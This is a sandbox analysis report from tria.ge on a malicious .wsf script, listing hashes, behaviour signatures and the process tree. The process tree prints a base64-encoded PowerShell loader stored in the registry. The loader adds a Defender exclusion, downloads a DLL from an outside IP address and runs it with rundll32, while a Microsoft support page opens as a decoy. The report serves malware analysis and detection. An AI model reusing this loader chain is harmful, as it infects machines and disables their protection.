Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
144s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
02/03/2023, 18:43
Static task
static1
Behavioral task
behavioral1
Sample
O P E N .wsf
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
O P E N .wsf
Resource
win10v2004-20230220-en
General
-
Target
O P E N .wsf
-
Size
316KB
-
MD5
ac4385ffc9f0f005bd194486aed5c24f
-
SHA1
161cdb625a9d8716ed61e16ce83136ee57d42753
-
SHA256
21a73a39348f4021cd6af58996a821c9ffd0dc2f84a49ca9d2b754f2f504f950
-
SHA512
262c953e0ccf1f9cc61ee36859b2fa9fb89d1debb33faa25168cd240096960b6f44513c8731ac92e81cf6f8e36680e666d3222f6ad0d2355640dafea1ef604b3
-
SSDEEP
6144:lisXZjbwYByTQwxaexOQvqCu3eapoycGFyEJbel2ZJ5jBCPbJe5rJDp/RtZl80CM:limGpZP5fLycSVJilO10JedZx71sLgKQ
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 101 4912 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\7080a9ba-e34e-44e3-b305-da47c4bd8a57.tmp setup.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20230302194349.pma setup.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ msedge.exe -
Modifies registry key 1 TTPs 4 IoCs
pid Process 3396 reg.exe 544 reg.exe 4836 reg.exe 2836 reg.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 1752 powershell.exe 1752 powershell.exe 4912 powershell.exe 4912 powershell.exe 1372 msedge.exe 1372 msedge.exe 4504 msedge.exe 4504 msedge.exe 3552 identity_helper.exe 3552 identity_helper.exe 1872 msedge.exe 1872 msedge.exe 1872 msedge.exe 1872 msedge.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
pid Process 4504 msedge.exe 4504 msedge.exe 4504 msedge.exe 4504 msedge.exe 4504 msedge.exe 4504 msedge.exe 4504 msedge.exe 4504 msedge.exe 4504 msedge.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1752 powershell.exe Token: SeDebugPrivilege 4912 powershell.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 4504 msedge.exe 4504 msedge.exe 4504 msedge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5040 wrote to memory of 3396 5040 WScript.exe 81 PID 5040 wrote to memory of 3396 5040 WScript.exe 81 PID 5040 wrote to memory of 544 5040 WScript.exe 83 PID 5040 wrote to memory of 544 5040 WScript.exe 83 PID 5040 wrote to memory of 4836 5040 WScript.exe 85 PID 5040 wrote to memory of 4836 5040 WScript.exe 85 PID 5040 wrote to memory of 2836 5040 WScript.exe 86 PID 5040 wrote to memory of 2836 5040 WScript.exe 86 PID 5040 wrote to memory of 1752 5040 WScript.exe 96 PID 5040 wrote to memory of 1752 5040 WScript.exe 96 PID 5040 wrote to memory of 5108 5040 WScript.exe 98 PID 5040 wrote to memory of 5108 5040 WScript.exe 98 PID 1752 wrote to memory of 4912 1752 powershell.exe 100 PID 1752 wrote to memory of 4912 1752 powershell.exe 100 PID 5108 wrote to memory of 4504 5108 cmd.exe 101 PID 5108 wrote to memory of 4504 5108 cmd.exe 101 PID 4504 wrote to memory of 908 4504 msedge.exe 103 PID 4504 wrote to memory of 908 4504 msedge.exe 103 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 2824 4504 msedge.exe 105 PID 4504 wrote to memory of 1372 4504 msedge.exe 106 PID 4504 wrote to memory of 1372 4504 msedge.exe 106 PID 4504 wrote to memory of 1688 4504 msedge.exe 107 PID 4504 wrote to memory of 1688 4504 msedge.exe 107 PID 4504 wrote to memory of 1688 4504 msedge.exe 107 PID 4504 wrote to memory of 1688 4504 msedge.exe 107
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\O P E N .wsf"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5040 -
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\SubdisciplinesIterate /v leonines /d fIFGBZMCAGAIZfqUtfUBuoLbHdIYINAZYdqmXHKZzFEbqwtWTdulJLqAyOyfzkYtUMueiqwrhMbOQtzXnmjgRPbqLKAYWvixgoeCMThoxyUxxquRkekInTegvSMykafYAkYtzDYzeikcrNGRlBPSKUulrBzHwhQNjCgUDlGLPpPAtcbbGnsyIVyMoXUNeoICUOGwilCspcBCKQliTzBeRPTzFYJYqnSTpouvaJzAcOyJqCkrHLPYVHkhrPrvlSEvsoyNSbkrTYhaPCbqhbWcWlpkMfBnNFWyOMWJzRLZknmue2⤵
- Modifies registry key
PID:3396
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\SubdisciplinesIterate /v PretransportHielaman /d vjNrXWINnmRsIaewNCvuRbGAJnkdHQsC2⤵
- Modifies registry key
PID:544
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\cadencyCloches /v Moustoc /d UAcgBkAGEAeQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAASABLAEMAVQA6AFwAXABTAE8ARgBUAFcAQQBSAEUAXABcAFMAdQBiAGQAaQBzAGMAaQBwAGwAaQBuAGUAcwBJAHQAZQByAGEAdABlACAAfAAgACUAewAkAF8ALgBNAG8AdQBzAHQAbwBjAH0AOwAgACQAeQBlAHMAdABlAHIAZABhAHkAIAA9ACAAIgBUAG8AcgByAGUAbgB0ACIAIAArACAAJAB5AGUAcwB0AGUAcgBkAGEAeQA7ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAZgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAeQBlAHMAdABlAHIAZABhAHkAKQApADsAIABbAGMAbABhAHMAcwBpAGMAeQBjADEAXQA6ADoARQB4AGUAYwB1AHQAZQAoACIAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQB4AGUAYwB1AHQAaQBvAG4AcABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AdwBpAG4AZABvAHcAcwB0AHkAbABlACAAaABpAGQAZABlAG4AIAAiACIAYAAkAGMAdQByAHIAZQBuAHQARAByAGkAdgBlACAAPQAgAGAAKABnAGUAdAAtAGwAbwBjAGEAdABpAG8AbgBgACkALgBEAHIAaQB2AGUALgBOAGEAbQBlACAAKwAgACcAOgBcACcAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABgACQAYwB1AHIAcgBlAG4AdABEAHIAaQB2AGUAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAOwByAGUAZwAgAGQAZQBsAGUAdABlACAASABLAEUAWQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIAAvAHYAIABVAHMAZQByAGkAbgBpAHQAIAAvAGYAOwAgAHIAZQBnACAAZABlAGwAZQB0AGUAIABIAEsARQBZAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXABTAE8ARgBUAFcAQQBSAEUAXABTAHUAYgBkAGkAcwBjAGkAcABsAGkAbgBlAHMASQB0AGUAcgBhAHQAZQAgAC8AdgAgAE0AbwB1AHMAdABvAGMAIAAvAGYAIgAiACIAKQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEAMAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAGgAdAB0AHAAOgAvAC8AMQA0ADMALgAyADQANAAuADEANAA3AC4AMQA3ADUALwAzAHIANwB3AC8AMAAyADAAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAG4AbwBuAHQAcgBhAG4AcwBpAGUAbgB0AGwAeQBVAG4AbwByAGEAdABvAHIAaQBhAGwALgBkAGwAbAA7ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAG4AbwBuAHQAcgBhAG4AcwBpAGUAbgB0AGwAeQBVAG4AbwByAGEAdABvAHIAaQBhAGwALgBkAGwAbAAsAFIAUwAzADIAOwA=2⤵
- Modifies registry key
PID:4836
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\cadencyCloches /v transmissions /d ffAqiCaDuIUzJHJWqdoBgAeEnGTgQCLymbRtJjObZbiOFpqGjzxJxBlSuKZpUIQUNaDBMtCFoCvkIXNNXzMTdDMrwKegRchEmuJozYejTeZEatjPGsOfZeoVprGVIKzAoLgoxOujhWZSw2⤵
- Modifies registry key
PID:2836
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $cadencyCloches = Get-ItemProperty -Path HKCU:\SOFTWARE\cadencyCloches | %{$_.Moustoc}; powershell -windowstyle Minimized -encodedcommand "JAB5AGUAcwB0AG$cadencyCloches"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle Minimized -encodedcommand JAB5AGUAcwB0AGUAcgBkAGEAeQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAASABLAEMAVQA6AFwAXABTAE8ARgBUAFcAQQBSAEUAXABcAFMAdQBiAGQAaQBzAGMAaQBwAGwAaQBuAGUAcwBJAHQAZQByAGEAdABlACAAfAAgACUAewAkAF8ALgBNAG8AdQBzAHQAbwBjAH0AOwAgACQAeQBlAHMAdABlAHIAZABhAHkAIAA9ACAAIgBUAG8AcgByAGUAbgB0ACIAIAArACAAJAB5AGUAcwB0AGUAcgBkAGEAeQA7ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAZgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAeQBlAHMAdABlAHIAZABhAHkAKQApADsAIABbAGMAbABhAHMAcwBpAGMAeQBjADEAXQA6ADoARQB4AGUAYwB1AHQAZQAoACIAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQB4AGUAYwB1AHQAaQBvAG4AcABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AdwBpAG4AZABvAHcAcwB0AHkAbABlACAAaABpAGQAZABlAG4AIAAiACIAYAAkAGMAdQByAHIAZQBuAHQARAByAGkAdgBlACAAPQAgAGAAKABnAGUAdAAtAGwAbwBjAGEAdABpAG8AbgBgACkALgBEAHIAaQB2AGUALgBOAGEAbQBlACAAKwAgACcAOgBcACcAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABgACQAYwB1AHIAcgBlAG4AdABEAHIAaQB2AGUAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAOwByAGUAZwAgAGQAZQBsAGUAdABlACAASABLAEUAWQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIAAvAHYAIABVAHMAZQByAGkAbgBpAHQAIAAvAGYAOwAgAHIAZQBnACAAZABlAGwAZQB0AGUAIABIAEsARQBZAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXABTAE8ARgBUAFcAQQBSAEUAXABTAHUAYgBkAGkAcwBjAGkAcABsAGkAbgBlAHMASQB0AGUAcgBhAHQAZQAgAC8AdgAgAE0AbwB1AHMAdABvAGMAIAAvAGYAIgAiACIAKQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEAMAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAGgAdAB0AHAAOgAvAC8AMQA0ADMALgAyADQANAAuADEANAA3AC4AMQA3ADUALwAzAHIANwB3AC8AMAAyADAAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAG4AbwBuAHQAcgBhAG4AcwBpAGUAbgB0AGwAeQBVAG4AbwByAGEAdABvAHIAaQBhAGwALgBkAGwAbAA7ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAG4AbwBuAHQAcgBhAG4AcwBpAGUAbgB0AGwAeQBVAG4AbwByAGEAdABvAHIAaQBhAGwALgBkAGwAbAAsAFIAUwAzADIAOwA=3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4912 -
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\nontransientlyUnoratorial.dll,RS324⤵PID:1112
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start https://support.microsoft.com/office/troubleshoot-errors-in-onenote-for-windows-10-942b006c-46ac-4300-a629-7fac5ae4dc702⤵
- Suspicious use of WriteProcessMemory
PID:5108 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://support.microsoft.com/office/troubleshoot-errors-in-onenote-for-windows-10-942b006c-46ac-4300-a629-7fac5ae4dc703⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4504 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xf8,0x108,0x7ffba3d846f8,0x7ffba3d84708,0x7ffba3d847184⤵PID:908
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2196 /prefetch:24⤵PID:2824
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 /prefetch:34⤵
- Suspicious behavior: EnumeratesProcesses
PID:1372
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2928 /prefetch:84⤵PID:1688
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3580 /prefetch:14⤵PID:4620
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3688 /prefetch:14⤵PID:5088
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2756 /prefetch:14⤵PID:3336
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5252 /prefetch:14⤵PID:3796
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:14⤵PID:1108
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:14⤵PID:740
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6032 /prefetch:14⤵PID:4828
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 /prefetch:84⤵PID:5096
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings4⤵
- Drops file in Program Files directory
PID:2184 -
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff6d1795460,0x7ff6d1795470,0x7ff6d17954805⤵PID:408
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 /prefetch:84⤵
- Suspicious behavior: EnumeratesProcesses
PID:3552
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:14⤵PID:4088
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:14⤵PID:5076
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4104 /prefetch:24⤵
- Suspicious behavior: EnumeratesProcesses
PID:1872
-
-
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:3616
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5223bd4ae02766ddc32e6145fd1a29301
SHA1900cfd6526d7e33fb4039a1cc2790ea049bc2c5b
SHA2561022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
SHA512648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc
-
Filesize
152B
MD50820611471c1bb55fa7be7430c7c6329
SHA15ce7a9712722684223aced2522764c1e3a43fbb9
SHA256f00d04749a374843bd118b41f669f8b0a20d76526c34b554c3ccac5ebd2f4f75
SHA51277ea022b4265f3962f5e07a0a790f428c885da0cc11be0975285ce0eee4a2eec0a7cda9ea8f366dc2a946679b5dd927c5f94b527de6515856b68b8d08e435148
-
Filesize
152B
MD5425e83cc5a7b1f8edfbec7d986058b01
SHA1432a90a25e714c618ff30631d9fdbe3606b0d0df
SHA256060a2e5f65b8f3b79a8d4a0c54b877cfe032f558beb0888d6f810aaeef8579bd
SHA5124bf074de60e7849ade26119ef778fe67ea47691efff45f3d5e0b25de2d06fcc6f95a2cfcdbed85759a5c078bb371fe57de725babda2f44290b4dc42d7b6001af
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize48B
MD513cf09a73958edcc5d68cf974c644d8d
SHA162d32b9cb51f5a59edbf06b66187899ffb5312c6
SHA2562b6b996530bb42041d898e800405cbdc32261680249b1bd4d675cd0b09c1424d
SHA5121e77d1b42253427bb27b582844578ab36dc2ebde5cccd5fd08c8db54435e3e5b97fb9ab260de2f72a78e8295460a1d6e5b9162393e2f583bb678385cf30aa3df
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize504B
MD55a63508f19c6c846aa84b09abcffaf84
SHA10aa2f2c85c1ac57bd1d1fc19bb8573e849e7893d
